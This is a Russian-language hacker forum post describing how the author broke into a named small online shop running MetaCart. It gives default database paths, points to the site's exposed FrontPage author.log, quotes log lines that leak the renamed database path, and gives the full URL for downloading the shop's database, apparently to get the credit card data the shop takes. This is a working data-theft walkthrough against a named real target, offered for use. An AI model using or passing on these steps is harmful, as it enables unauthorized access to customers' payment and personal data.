Уязвимость metacart

Путешествуя как-то по инету наткнулся я на небольшой такой интернет-магазинчик, торгующий нехитрыми ценностями американской демократии.
И возникла у меня мысль узнать как часто они проявляют патриотические чувства, тем более что, магазин принимает не только чеки но и сс.
Полазив по сайту я понял, что магазин-то работает на системе metacart, но стандартные запросы типа www.swimamerica.org/metacart/database/metacart.mdb или www.swimamerica.org/metacart/metacart.mdb не действовали.
Видно админ сменил название базы. Тогда решил я проверить сайт на наличие дырявых скриптов, серьезных багов не оказалось, зато встретился очень интересный файл author.log (www.swimamerica.org/_vti_log/author.log - он до сих пор там , где было много мусора типа:
[18 Jun 2002 12:54:47 -0600] 66.176.193.110 asca /KJSwimAmerica [get document] kjsaabout.htm
[18 Jun 2002 12:55:47 -0600] 66.176.193.110 asca /KJSwimAmerica [get document] babieslearntofloat.htm
[18 Jun 2002 12:56:06 -0600] 66.176.193.110 asca /KJSwimAmerica [put document] babieslearntofloat.htm
[18 Jun 2002 12:56:15 -0600] 66.176.193.110 asca /KJSwimAmerica [get document] toddlerlessons.htm
[18 Jun 2002 12:56:29 -0600] 66.176.193.110 asca /KJSwimAmerica [put document] toddlerlessons.htm
[18 Jun 2002 12:56:40 -0600] 66.176.193.110 asca /KJSwimAmerica [get document] lessons.htm
[18 Jun 2002 12:57:18 -0600] 66.176.193.110 asca /KJSwimAmerica [put document] lessons.htm
[18 Jun 2002 12:57:29 -0600] 66.176.193.110 asca /KJSwimAmerica [get document] semiprivatelessons.htm
Но были и очень интересные строки:
[19 Jun 2002 08:12:41 -0600] 66.176.193.110 asca / [get document] metacart/productsByCategory.asp
[19 Jun 2002 08:16:05 -0600] 66.176.193.110 asca / [get document] metacart/product.asp
[19 Jun 2002 08:32:29 -0600] 66.176.193.110 asca / [put document] metacart/database/mcart2.mdb
В последней как вы уже поняли, указаны директории и имя базы магазина: metacart/database/mcart2.mdb. Админ видать не особенно гиморился с названием.
Осталось ввести в браузер полный урл www.swimamerica.org/metacart/database/mcart2.mdb и ждать пока сольется вся база.
Вот вроде и все.

Твой bug Durito.
_________________
EAT THE RICH!